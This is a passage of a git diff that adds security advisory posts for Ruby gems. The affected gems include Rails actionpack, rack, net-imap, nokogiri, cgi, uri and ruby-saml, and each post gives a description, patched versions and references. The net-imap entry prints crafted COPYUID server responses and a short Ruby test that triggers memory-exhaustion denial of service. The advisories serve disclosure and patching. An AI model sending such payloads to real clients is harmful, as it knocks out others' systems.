+    - https://nvd.nist.gov/vuln/detail/CVE-2024-53989
+    - https://hackerone.com/reports/2931691
+    - https://github.com/rails/rails-html-sanitizer/security/advisories/GHSA-rxv5-gxqc-xx8g
+    - https://github.com/rails/rails-html-sanitizer/commit/16251735e36ebdc302e2f90f2a39cad56879414f
+    - https://github.com/advisories/GHSA-rxv5-gxqc-xx8g
+---
diff --git a/advisories/_posts/2024-12-10-CVE-2024-54133.md b/advisories/_posts/2024-12-10-CVE-2024-54133.md
new file mode 100644
index 00000000..af131b8d
--- /dev/null
+++ b/advisories/_posts/2024-12-10-CVE-2024-54133.md
@@ -0,0 +1,55 @@
+---
+layout: advisory
+title: 'CVE-2024-54133 (actionpack): Possible Content Security Policy bypass in Action
+  Dispatch'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2024-54133
+  ghsa: vfm5-rmrh-j26v
+  url: https://github.com/rails/rails/security/advisories/GHSA-vfm5-rmrh-j26v
+  title: Possible Content Security Policy bypass in Action Dispatch
+  date: 2024-12-10
+  description: |
+    There is a possible Cross Site Scripting (XSS) vulnerability
+    in the `content_security_policy` helper in Action Pack.
+
+    ## Impact
+
+    Applications which set Content-Security-Policy (CSP) headers
+    dynamically from untrusted user input may be vulnerable to
+    carefully crafted inputs being able to inject new directives
+    into the CSP. This could lead to a bypass of the CSP and its
+    protection against XSS and other attacks.
+
+    ## Releases
+
+    The fixed releases are available at the normal locations.
+
+    ## Workarounds
+
+    Applications can avoid setting CSP headers dynamically from
+    untrusted input, or can validate/sanitize that input.
+
+    ## Credits
+
+    Thanks to [ryotak](https://hackerone.com/ryotak) for the report!
+  cvss_v4: 2.3
+  unaffected_versions:
+  - "< 5.2.0"
+  patched_versions:
+  - "~> 7.0.8.7"
+  - "~> 7.1.5.1"
+  - "~> 7.2.2.1"
+  - ">= 8.0.0.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-54133
+    - https://hackerone.com/reports/2905532
+    - https://github.com/rails/rails/security/advisories/GHSA-vfm5-rmrh-j26v
+    - https://github.com/advisories/GHSA-vfm5-rmrh-j26v
+---
diff --git a/advisories/_posts/2024-12-30-CVE-2024-56733.md b/advisories/_posts/2024-12-30-CVE-2024-56733.md
new file mode 100644
index 00000000..0c22830c
--- /dev/null
+++ b/advisories/_posts/2024-12-30-CVE-2024-56733.md
@@ -0,0 +1,82 @@
+---
+layout: advisory
+title: 'CVE-2024-56733 (pwpush): Password Pusher Allows Session Token Interception
+  Leading to Potential Hijacking'
+comments: false
+categories:
+- pwpush
+advisory:
+  gem: pwpush
+  cve: 2024-56733
+  ghsa: 4fwj-m62q-pp47
+  url: https://github.com/pglombardo/PasswordPusher/security/advisories/GHSA-4fwj-m62q-pp47
+  title: Password Pusher Allows Session Token Interception Leading to Potential Hijacking
+  date: 2024-12-30
+  description: |
+    ### Impact
+
+    A vulnerability has been reported in Password Pusher where an
+    attacker can copy the session cookie before a user logs out,
+    potentially allowing session hijacking.
+
+    Although the session token is replaced and invalidated upon logout,
+    if an attacker manages to capture the session cookie before this
+    process, they can use the token to gain unauthorized access to the
+    user's session until the token expires or is manually cleared.
+
+    This vulnerability hinges on the attacker's ability to access the
+    session cookie during an active session, either through a
+    man-in-the-middle attack, by exploiting another vulnerability like
+    XSS, or via direct access to the victim's device.
+
+    ### Patches
+
+    Although there is no direct resolution to this vulnerability, it is
+    recommended to always use the latest version of Password Pusher to
+    best mitigate risk.
+
+    ### Workarounds
+
+    If self-hosting, ensure Password Pusher is hosted exclusively over
+    SSL connections to encrypt traffic and prevent session cookies from
+    being intercepted in transit. Additionally, implement best practices
+    in local security to safeguard user systems, browsers, and data
+    against unauthorized access.
+
+    To further mitigate session hijacking risks, Password Pusher
+    implements the following security measures:
+
+    1. **Automatic Session Expiration**: Sessions are automatically
+       expired after 2 hours of inactivity, reducing the window for
+       potential exploitation.
+
+    2. **Session Reset on Login and Logout**: Sessions are fully reset
+       both when a user logs in and logs out, ensuring that session
+       tokens are not reusable post-logout. This practice invalidates
+       old session tokens and issues new ones, minimizing the risk of
+       session hijacking.
+
+    3. **Encrypted Cookies**: Cookies are encrypted using the value of
+       SECRET_KEY_BASE from the application's configuration. This
+       encryption adds a layer of protection against tampering or reading
+       the session cookie's contents if intercepted, although it doesn't
+       prevent the cookie from being used if stolen.
+
+    **Note**: While these measures significantly enhance security, they
+    are part of a broader security strategy.
+
+    ### References
+
+    * https://edgeguides.rubyonrails.org/security.html#session-hijacking
+
+    ### Credits
+
+    Thank you to [Positive Technologies](https://www.ptsecurity.com/ww-en/)
+    for reporting and working with me to bring this CVE to the community.
+  cvss_v3: 5.7
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-56733
+    - https://github.com/pglombardo/PasswordPusher/security/advisories/GHSA-4fwj-m62q-pp47
+    - https://github.com/advisories/GHSA-4fwj-m62q-pp47
+---
diff --git a/advisories/_posts/2025-02-10-CVE-2025-25186.md b/advisories/_posts/2025-02-10-CVE-2025-25186.md
new file mode 100644
index 00000000..b2362358
--- /dev/null
+++ b/advisories/_posts/2025-02-10-CVE-2025-25186.md
@@ -0,0 +1,166 @@
+---
+layout: advisory
+title: 'CVE-2025-25186 (net-imap): Possible DoS by memory exhaustion in net-imap'
+comments: false
+categories:
+- net-imap
+advisory:
+  gem: net-imap
+  cve: 2025-25186
+  ghsa: 7fc5-f82f-cx69
+  url: https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69
+  title: Possible DoS by memory exhaustion in net-imap
+  date: 2025-02-10
+  description: |
+    ### Summary
+
+    There is a possibility for denial of service by memory exhaustion in
+    `net-imap`'s response parser.  At any time while the client is
+    connected, a malicious server can send  can send highly compressed
+    `uid-set` data which is automatically read by the client's receiver
+    thread.  The response parser uses `Range#to_a` to convert the
+    `uid-set` data into arrays of integers, with no limitation on the
+    expanded size of the ranges.
+
+    ### Details
+
+    IMAP's `uid-set` and `sequence-set` formats can compress ranges of
+    numbers, for example: `"1,2,3,4,5"` and `"1:5"` both represent the
+    same set.  When `Net::IMAP::ResponseParser` receives `APPENDUID` or
+    `COPYUID` response codes, it expands each `uid-set` into an array of
+    integers.  On a 64 bit system, these arrays will expand to 8 bytes
+    for each number in the set.  A malicious IMAP server may send
+    specially crafted `APPENDUID` or `COPYUID` responses with very large
+    `uid-set` ranges.
+
+    The `Net::IMAP` client parses each server response in a separate
+    thread, as soon as each responses is received from the server.
+    This attack works even when the client does not handle the
+    `APPENDUID` or `COPYUID` responses.
+
+    Malicious inputs:
+
+    ```ruby
+    # 40 bytes expands to ~1.6GB:
+    "* OK [COPYUID 1 1:99999999 1:99999999]\r\n"
+
+    # Worst *valid* input scenario (using uint32 max),
+    # 44 bytes expands to 64GiB:
+    "* OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"
+
+    # Numbers must be non-zero uint32, but this isn't validated.  Arrays
+    # larger than UINT32_MAX can be created.  For example, the following
+    # would theoretically expand to almost 800 exabytes:
+    "* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"
+    ```
+
+    Simple way to test this:
+    ```ruby
+    require "net/imap"
+
+    def test(size)
+      input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\n"
+      parser = Net::IMAP::ResponseParser.new
+      parser.parse input
+    end
+
+    test(99_999_999)
+    ```
+
+    ### Fixes
+
+    #### Preferred Fix, minor API changes
+
+    Upgrade to v0.4.19, v0.5.6, or higher, and configure:
+
+    ```ruby
+    # globally
+    Net::IMAP.config.parser_use_deprecated_uidplus_data = false
+    # per-client
+    imap = Net::IMAP.new(hostname, ssl: true,
+                                   parser_use_deprecated_uidplus_data: false)
+    imap.config.parser_use_deprecated_uidplus_data = false
+    ```
+
+    This replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`.
+    These classes store their UIDs as `Net::IMAP::SequenceSet` objects
+    (_not_ expanded into arrays of integers).  Code that does not handle
+    `APPENDUID` or `COPYUID` responses will not notice any difference.
+    Code that does handle these responses _may_ need to be updated.  See
+    the documentation for
+    [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html),
+    [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html)
+    and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html).
+
+    For v0.3.8, this option is not available.
+    For v0.4.19, the default value is `true`.
+    For v0.5.6, the default value is `:up_to_max_size`.
+    For v0.6.0, the only allowed value will be `false`  _(`UIDPlusData`
+    will be removed from v0.6)_.
+
+    #### Mitigation, backward compatible API
+
+    Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.
+
+    For backward compatibility, `uid-set` can still be expanded
+    into an array, but a maximum limit will be applied.
+
+    Assign `config.parser_max_deprecated_uidplus_data_size` to set the
+    maximum `UIDPlusData` UID set size. When
+    `config.parser_use_deprecated_uidplus_data == true`, larger sets will crash.
+    When  `config.parser_use_deprecated_uidplus_data == :up_to_max_size`,
+    larger sets will use `AppendUIDData` or `CopyUIDData`.
+
+    For v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets
+    will always raise `Net::IMAP::ResponseParseError`.
+    For v0.4.19, the limit defaults to 1000.
+    For v0.5.6, the limit defaults to 100.
+    For v0.6.0, the limit will be ignored  _(`UIDPlusData` will be
+    removed from v0.6)_.
+
+    #### Please Note: unhandled responses
+
+    If the client does not add response handlers to prune unhandled
+    responses, a malicious server can still eventually exhaust all
+
+    client memory, by repeatedly sending malicious responses.  However,
+    `net-imap` has always retained unhandled responses, and it has always
+    been necessary for long-lived connections to prune these responses.
+    _This is not significantly different from connecting to a trusted
+    server with a long-lived connection._  To limit the maximum number
+    of retained responses, a simple handler might look something like
+    the following:
+
+    ```ruby
+    limit = 1000
+    imap.add_response_handler do |resp|
+      next unless resp.respond_to?(:name) && resp.respond_to?(:data)
+      name = resp.name
+      code = resp.data.code&.name if resp.data.respond_to?(:code)
+      if Net::IMAP::VERSION > "0.4.0"
+        imap.responses(name) { _1.slice!(0...-limit) }
+        imap.responses(code) { _1.slice!(0...-limit) }
+      else
+        imap.responses(name).slice!(0...-limit)
+        imap.responses(code).slice!(0...-limit)
+      end
+    end
+    ```
+  cvss_v3: 6.5
+  unaffected_versions:
+  - "< 0.3.2"
+  patched_versions:
+  - "~> 0.3.8"
+  - "~> 0.4.19"
+  - ">= 0.5.6"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-25186
+    - https://www.ruby-lang.org/en/news/2025/02/10/dos-net-imap-cve-2025-25186
+    - https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69
+    - https://github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35
+    - https://github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3
+    - https://github.com/ruby/net-imap/commit/cb92191b1ddce2d978d01b56a0883b6ecf0b1022
+    - https://hackerone.com/reports/2987782
+    - https://github.com/advisories/GHSA-7fc5-f82f-cx69
+---
diff --git a/advisories/_posts/2025-02-12-CVE-2025-25184.md b/advisories/_posts/2025-02-12-CVE-2025-25184.md
new file mode 100644
index 00000000..89926123
--- /dev/null
+++ b/advisories/_posts/2025-02-12-CVE-2025-25184.md
@@ -0,0 +1,55 @@
+---
+layout: advisory
+title: 'CVE-2025-25184 (rack): Possible Log Injection in Rack::CommonLogger'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2025-25184
+  ghsa: 7g2v-jj9q-g3rg
+  url: https://github.com/rack/rack/security/advisories/GHSA-7g2v-jj9q-g3rg
+  title: Possible Log Injection in Rack::CommonLogger
+  date: 2025-02-12
+  description: |
+    ## Summary
+
+    `Rack::CommonLogger` can be exploited by crafting input that includes
+    newline characters to manipulate log entries. The supplied
+    proof-of-concept demonstrates injecting malicious content into logs.
+
+    ## Details
+
+    When a user provides the authorization credentials via
+    `Rack::Auth::Basic`, if success, the username will be put in
+    `env['REMOTE_USER']` and later be used by `Rack::CommonLogger`
+    for logging purposes.
+
+    The issue occurs when a server intentionally or unintentionally
+    allows a user creation with the username contain CRLF and white
+    space characters, or the server just want to log every login
+    attempts. If an attacker enters a username with CRLF character,
+    the logger will log the malicious username with CRLF characters
+    into the logfile.
+
+    ## Impact
+
+    Attackers can break log formats or insert fraudulent entries,
+    potentially obscuring real activity or injecting malicious data
+    into log files.
+
+    ## Mitigation
+
+    - Update to the latest version of Rack.
+  cvss_v4: 5.7
+  patched_versions:
+  - "~> 2.2.11"
+  - "~> 3.0.12"
+  - ">= 3.1.10"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-25184
+    - https://github.com/rack/rack/security/advisories/GHSA-7g2v-jj9q-g3rg
+    - https://github.com/rack/rack/commit/074ae244430cda05c27ca91cda699709cfb3ad8e
+    - https://github.com/advisories/GHSA-7g2v-jj9q-g3rg
+---
diff --git a/advisories/_posts/2025-02-18-GHSA-vvfq-8hwr-qm4m.md b/advisories/_posts/2025-02-18-GHSA-vvfq-8hwr-qm4m.md
new file mode 100644
index 00000000..bb5e9d3a
--- /dev/null
+++ b/advisories/_posts/2025-02-18-GHSA-vvfq-8hwr-qm4m.md
@@ -0,0 +1,47 @@
+---
+layout: advisory
+title: 'GHSA-vvfq-8hwr-qm4m (nokogiri): Nokogiri updates packaged libxml2 to 2.13.6
+  to resolve CVE-2025-24928 and CVE-2024-56171'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  ghsa: vvfq-8hwr-qm4m
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-vvfq-8hwr-qm4m
+  title: Nokogiri updates packaged libxml2 to 2.13.6 to resolve CVE-2025-24928 and
+    CVE-2024-56171
+  date: 2025-02-18
+  description: |
+    ## Summary
+
+    Nokogiri v1.18.3 upgrades its dependency libxml2 to
+    [v2.13.6](https://gitlab.gnome.org/GNOME/libxml2/-/releases/v2.13.6).
+
+    libxml2 v2.13.6 addresses:
+
+    - CVE-2025-24928
+      - described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/847
+    - CVE-2024-56171
+       - described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/828
+
+    ## Impact
+
+    ### CVE-2025-24928
+
+    Stack-buffer overflow is possible when reporting DTD validation
+    errors if the input contains a long (~3kb) QName prefix.
+
+    ### CVE-2024-56171
+
+    Use-after-free is possible during validation against untrusted
+    XML Schemas (.xsd) and, potentially, validation of untrusted documents
+    against trusted Schemas if they make use of `xsd:keyref` in combination
+    with recursively defined types that have additional identity constraints.
+  patched_versions:
+  - ">= 1.18.3"
+  related:
+    url:
+    - https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-vvfq-8hwr-qm4m
+    - https://github.com/advisories/GHSA-vvfq-8hwr-qm4m
+---
diff --git a/advisories/_posts/2025-02-24-CVE-2025-26803.md b/advisories/_posts/2025-02-24-CVE-2025-26803.md
new file mode 100644
index 00000000..1e8b696a
--- /dev/null
+++ b/advisories/_posts/2025-02-24-CVE-2025-26803.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2025-26803 (passenger): Phusion Passenger denial of service'
+comments: false
+categories:
+- passenger
+advisory:
+  gem: passenger
+  cve: 2025-26803
+  ghsa: 2cj2-qqxj-5m3r
+  url: https://github.com/advisories/GHSA-2cj2-qqxj-5m3r
+  title: Phusion Passenger denial of service
+  date: 2025-02-24
+  description: |
+    The http parser in Phusion Passenger 6.0.21 through 6.0.25
+    before 6.0.26 allows a denial of service during parsing of
+    a request with an invalid HTTP method.
+  cvss_v3: 5.3
+  unaffected_versions:
+  - "< 6.0.21"
+  patched_versions:
+  - ">= 6.0.26"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-26803
+    - https://blog.phusion.nl/2025/02/19/passenger-6-0-26
+    - https://github.com/phusion/passenger/compare/release-6.0.25...release-6.0.26
+    - https://github.com/phusion/passenger/releases/tag/release-6.0.26
+    - https://github.com/phusion/passenger/commit/bb15591646687064ab2d578d5f9660b2a4168017
+    - https://www.phusionpassenger.com/support
+    - https://github.com/advisories/GHSA-2cj2-qqxj-5m3r
+---
diff --git a/advisories/_posts/2025-02-26-CVE-2025-27219.md b/advisories/_posts/2025-02-26-CVE-2025-27219.md
new file mode 100644
index 00000000..0b290320
--- /dev/null
+++ b/advisories/_posts/2025-02-26-CVE-2025-27219.md
@@ -0,0 +1,46 @@
+---
+layout: advisory
+title: 'CVE-2025-27219 (cgi): CVE-2025-27219 - Denial of Service in CGI::Cookie.parse'
+comments: false
+categories:
+- cgi
+advisory:
+  gem: cgi
+  cve: 2025-27219
+  ghsa: gh9q-2xrm-x6qv
+  url: https://www.cve.org/CVERecord?id=CVE-2025-27219
+  title: CVE-2025-27219 - Denial of Service in CGI::Cookie.parse
+  date: 2025-02-26
+  description: |
+    There is a possibility for DoS by in the cgi gem.
+    This vulnerability has been assigned the CVE identifier
+    CVE-2025-27219. We recommend upgrading the cgi gem.
+
+    ## Details
+
+    CGI::Cookie.parse took super-linear time to parse a cookie string
+    in some cases. Feeding a maliciously crafted cookie string into
+    the method could lead to a Denial of Service.
+
+    Please update CGI gem to version 0.3.5.1, 0.3.7, 0.4.2 or later.
+
+    ## Affected versions
+
+    cgi gem versions <= 0.3.5, 0.3.6, 0.4.0 and 0.4.1.
+
+    ## Credits
+
+    Thanks to lio346 for discovering this issue.
+    Also thanks to mame for fixing this vulnerability.
+  cvss_v3: 5.8
+  patched_versions:
+  - "~> 0.3.5.1"
+  - "~> 0.3.7"
+  - ">= 0.4.2"
+  related:
+    url:
+    - https://www.cve.org/CVERecord?id=CVE-2025-27219
+    - https://www.suse.com/security/cve/CVE-2025-27219.html
+    - https://hackerone.com/reports/3013913
+    - https://www.ruby-lang.org/en/news/2025/02/26/security-advisories
+---
diff --git a/advisories/_posts/2025-02-26-CVE-2025-27220.md b/advisories/_posts/2025-02-26-CVE-2025-27220.md
new file mode 100644
index 00000000..9f83ec3b
--- /dev/null
+++ b/advisories/_posts/2025-02-26-CVE-2025-27220.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2025-27220 (cgi): CVE-2025-27220 - ReDoS in CGI::Util#escapeElement.'
+comments: false
+categories:
+- cgi
+advisory:
+  gem: cgi
+  cve: 2025-27220
+  ghsa: mhwm-jh88-3gjf
+  url: https://www.cve.org/CVERecord?id=CVE-2025-27220
+  title: CVE-2025-27220 - ReDoS in CGI::Util#escapeElement.
+  date: 2025-02-26
+  description: |
+    There is a possibility for Regular expression Denial of Service (ReDoS)
+    by in the cgi gem. This vulnerability has been assigned the CVE
+    identifier CVE-2025-27220. We recommend upgrading the cgi gem.
+
+    ## Details
+
+    The regular expression used in CGI::Util#escapeElement is vulnerable
+    to ReDoS. The crafted input could lead to a high CPU consumption.
+
+    This vulnerability only affects Ruby 3.1 and 3.2. If you
+    are using these versions, please update CGI gem to version
+    0.3.5.1, 0.3.7, 0.4.2 or later.
+
+    ## Affected versions
+
+    cgi gem versions <= 0.3.5, 0.3.6, 0.4.0 and 0.4.1.
+
+    ## Credits
+
+    Thanks to svalkanov for discovering this issue.
+    Also thanks to nobu for fixing this vulnerability.
+  cvss_v3: 4.0
+  patched_versions:
+  - "~> 0.3.5.1"
+  - "~> 0.3.7"
+  - ">= 0.4.2"
+  related:
+    url:
+    - https://www.cve.org/CVERecord?id=CVE-2025-27220
+    - https://www.ruby-lang.org/en/news/2025/02/26/security-advisories
+---
diff --git a/advisories/_posts/2025-02-26-CVE-2025-27221.md b/advisories/_posts/2025-02-26-CVE-2025-27221.md
new file mode 100644
index 00000000..a2b7a611
--- /dev/null
+++ b/advisories/_posts/2025-02-26-CVE-2025-27221.md
@@ -0,0 +1,50 @@
+---
+layout: advisory
+title: 'CVE-2025-27221 (uri): CVE-2025-27221 - userinfo leakage in URI#join, URI#merge
+  and URI#+.'
+comments: false
+categories:
+- uri
+advisory:
+  gem: uri
+  cve: 2025-27221
+  ghsa: 22h5-pq3x-2gf2
+  url: https://www.cve.org/CVERecord?id=CVE-2025-27221
+  title: CVE-2025-27221 - userinfo leakage in URI#join, URI#merge and URI#+.
+  date: 2025-02-26
+  description: |2
+
+    There is a possibility for userinfo leakage by in the uri gem.
+    This vulnerability has been assigned the CVE identifier
+    CVE-2025-27221. We recommend upgrading the uri gem.
+
+    ## Details
+
+    The methods URI#join, URI#merge, and URI#+ retained userinfo, such
+    as user:password, even after the host is replaced. When generating
+    a URL to a malicious host from a URL containing secret userinfo
+    using these methods, and having someone access that URL, an
+    unintended userinfo leak could occur.
+
+    Please update URI gem to version 0.11.3, 0.12.4, 0.13.2, 1.0.3 or later.
+
+    ## Affected versions
+
+    uri gem versions < 0.11.3, 0.12.0 to 0.12.3, 0.13.0, 0.13.1 and
+    1.0.0 to 1.0.2.
+
+    ## Credits
+
+    Thanks to Tsubasa Irisawa (lambdasawa) for discovering this issue.
+    Also thanks to nobu for additional fixes of this vulnerability.
+  cvss_v3: 3.2
+  patched_versions:
+  - "~> 0.11.3"
+  - "~> 0.12.4"
+  - "~> 0.13.2"
+  - ">= 1.0.3"
+  related:
+    url:
+    - https://www.cve.org/CVERecord?id=CVE-2025-27221
+    - https://www.ruby-lang.org/en/news/2025/02/26/security-advisories
+---
diff --git a/advisories/_posts/2025-03-03-CVE-2025-27590.md b/advisories/_posts/2025-03-03-CVE-2025-27590.md
new file mode 100644
index 00000000..251b1e06
--- /dev/null
+++ b/advisories/_posts/2025-03-03-CVE-2025-27590.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2025-27590 (oxidized-web): Oxidized Web RANCID migration page allows unauthenticated
+  user to gain control over Linux user account'
+comments: false
+categories:
+- oxidized-web
+advisory:
+  gem: oxidized-web
+  cve: 2025-27590
+  ghsa: jx6p-9c26-g373
+  url: https://github.com/advisories/GHSA-jx6p-9c26-g373
+  title: Oxidized Web RANCID migration page allows unauthenticated user to gain control
+    over Linux user account
+  date: 2025-03-03
+  description: |
+    In oxidized-web (aka Oxidized Web) before 0.15.0, the RANCID
+    migration page allows an unauthenticated user to gain control
+    over the Linux user account that is running oxidized-web.
+  cvss_v3: 9.1
+  patched_versions:
+  - ">= 0.15.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-27590
+    - https://github.com/ytti/oxidized-web/releases/tag/0.15.0
+    - https://github.com/ytti/oxidized-web/commit/a5220a0ddc57b85cd122bffee228d3ed4901668e
+    - https://github.com/advisories/GHSA-jx6p-9c26-g373
+---
diff --git a/advisories/_posts/2025-03-04-CVE-2025-27111.md b/advisories/_posts/2025-03-04-CVE-2025-27111.md
new file mode 100644
index 00000000..332ba56d
--- /dev/null
+++ b/advisories/_posts/2025-03-04-CVE-2025-27111.md
@@ -0,0 +1,50 @@
+---
+layout: advisory
+title: 'CVE-2025-27111 (rack): Escape Sequence Injection vulnerability in Rack lead
+  to Possible Log Injection'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2025-27111
+  ghsa: 8cgq-6mh2-7j6v
+  url: https://github.com/rack/rack/security/advisories/GHSA-8cgq-6mh2-7j6v
+  title: Escape Sequence Injection vulnerability in Rack lead to Possible Log Injection
+  date: 2025-03-04
+  description: |
+    ## Summary
+
+    `Rack::Sendfile` can be exploited by crafting input that
+    includes newline characters to manipulate log entries.
+
+    ## Details
+
+    The `Rack::Sendfile` middleware logs unsanitized header values from
+    the `X-Sendfile-Type` header. An attacker can exploit this by
+    injecting escape sequences (such as newline characters) into the
+    header, resulting in log injection.
+
+    ## Impact
+
+    This vulnerability can distort log files, obscure
+    attack traces, and complicate security auditing.
+
+    ## Mitigation
+
+    - Update to the latest version of Rack, or
+    - Remove usage of `Rack::Sendfile`.
+  cvss_v4: 6.9
+  patched_versions:
+  - "~> 2.2.12"
+  - "~> 3.0.13"
+  - ">= 3.1.11"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-27111
+    - https://github.com/rack/rack/security/advisories/GHSA-8cgq-6mh2-7j6v
+    - https://github.com/rack/rack/commit/803aa221e8302719715e224f4476e438f2531a53
+    - https://github.com/rack/rack/commit/aeac570bb8080ca7b53b7f2e2f67498be7ebd30b
+    - https://github.com/rack/rack/commit/b13bc6bfc7506aca3478dc5ac1c2ec6fc53f82a3
+    - https://github.com/advisories/GHSA-8cgq-6mh2-7j6v
+---
diff --git a/advisories/_posts/2025-03-10-CVE-2025-27610.md b/advisories/_posts/2025-03-10-CVE-2025-27610.md
new file mode 100644
index 00000000..db9ad5d9
--- /dev/null
+++ b/advisories/_posts/2025-03-10-CVE-2025-27610.md
@@ -0,0 +1,44 @@
+---
+layout: advisory
+title: 'CVE-2025-27610 (rack): Local File Inclusion in Rack::Static'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2025-27610
+  ghsa: 7wqh-767x-r66v
+  url: https://github.com/rack/rack/security/advisories/GHSA-7wqh-767x-r66v
+  title: Local File Inclusion in Rack::Static
+  date: 2025-03-10
+  description: |-
+    ## Summary
+
+    `Rack::Static` can serve files under the specified `root:` even if `urls:` are provided, which may expose other files under the specified `root:` unexpectedly.
+
+    ## Details
+
+    The vulnerability occurs because `Rack::Static` does not properly sanitize user-supplied paths before serving files. Specifically, encoded path traversal sequences are not correctly validated, allowing attackers to access files outside the designated static file directory.
+
+    ## Impact
+
+    By exploiting this vulnerability, an attacker can gain access to all files under the specified `root:` directory, provided they are able to determine then path of the file.
+
+    ## Mitigation
+
+    - Update to the latest version of Rack, or
+    - Remove usage of `Rack::Static`, or
+    - Ensure that `root:` points at a directory path which only contains files which should be accessed publicly.
+
+    It is likely that a CDN or similar static file server would also mitigate the issue.
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 2.2.13"
+  - "~> 3.0.14"
+  - ">= 3.1.12"
+  related:
+    url:
+    - https://github.com/rack/rack/security/advisories/GHSA-7wqh-767x-r66v
+    - https://github.com/rack/rack/commit/50caab74fa01ee8f5dbdee7bb2782126d20c6583
+    - https://github.com/advisories/GHSA-7wqh-767x-r66v
+---
diff --git a/advisories/_posts/2025-03-12-CVE-2025-25291.md b/advisories/_posts/2025-03-12-CVE-2025-25291.md
new file mode 100644
index 00000000..bd977018
--- /dev/null
+++ b/advisories/_posts/2025-03-12-CVE-2025-25291.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2025-25291 (ruby-saml): Ruby SAML allows a SAML authentication bypass
+  due to DOCTYPE handling (parser differential)'
+comments: false
+categories:
+- ruby-saml
+advisory:
+  gem: ruby-saml
+  cve: 2025-25291
+  ghsa: 4vc4-m8qh-g8jm
+  url: https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-4vc4-m8qh-g8jm
+  title: Ruby SAML allows a SAML authentication bypass due to DOCTYPE handling (parser
+    differential)
+  date: 2025-03-12
+  description: |-
+    ### Summary
+    An authentication bypass vulnerability was found in ruby-saml due to a parser differential.
+    ReXML and Nokogiri parse XML differently, the parsers can generate entirely
+    different document structures from the same XML input. That allows an attacker
+    to be able to execute a Signature Wrapping attack.
+
+    ### Impact
+    This issue may lead to authentication bypass.
+  cvss_v4: 8.8
+  patched_versions:
+  - "~> 1.12.4"
+  - ">= 1.18.0"
+  related:
+    url:
+    - https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-4vc4-m8qh-g8jm
+    - https://github.com/SAML-Toolkits/ruby-saml/commit/e9c1cdbd0f9afa467b585de279db0cbd0fb8ae97
+    - https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-hw46-3hmr-x9xv
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-25291
+    - https://github.com/SAML-Toolkits/ruby-saml/commit/e76c5b36bac40aedbf1ba7ffaaf495be63328cd9
+    - https://about.gitlab.com/releases/2025/03/12/patch-release-gitlab-17-9-2-released
+    - https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials
+    - https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.12.4
+    - https://github.com/SAML-Toolkits/ruby-saml/releases/tag/v1.18.0
+    - https://github.com/advisories/GHSA-4vc4-m8qh-g8jm
+---
diff --git a/advisories/_posts/2025-03-12-CVE-2025-25292.md b/advisories/_posts/2025-03-12-CVE-2025-25292.md
new file mode 100644
index 00000000..f8d12ae7
--- /dev/null
+++ b/advisories/_posts/2025-03-12-CVE-2025-25292.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2025-25292 (ruby-saml): Ruby SAML allows a SAML authentication bypass
+  due to namespace handling (parser differential)'
+comments: false
+categories:
+- ruby-saml
+advisory:
+  gem: ruby-saml
+  cve: 2025-25292
+  ghsa: 754f-8gm6-c4r2
+  url: https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-754f-8gm6-c4r2
+  title: Ruby SAML allows a SAML authentication bypass due to namespace handling (parser
+    differential)
+  date: 2025-03-12
+  description: |-
+    ### Summary
+    An authentication bypass vulnerability was found in ruby-saml due to a parser differential.
+    ReXML and Nokogiri parse XML differently, the parsers can generate entirely
+    different document structures from the same XML input. That allows an
+    attacker to be able to execute a Signature Wrapping attack.
+
+    ### Impact
+    This issue may lead to authentication bypass.
+  cvss_v4: 8.8
+  patched_versions:
+  - "~> 1.12.4"
+  - ">= 1.18.0"
+  related:
+    url:
+    - https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-754f-8gm6-c4r2
+    - https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-hw46-3hmr-x9xv
+    - https://github.com/SAML-Toolkits/ruby-saml/commit/e76c5b36bac40aedbf1ba7ffaaf495be63328cd9
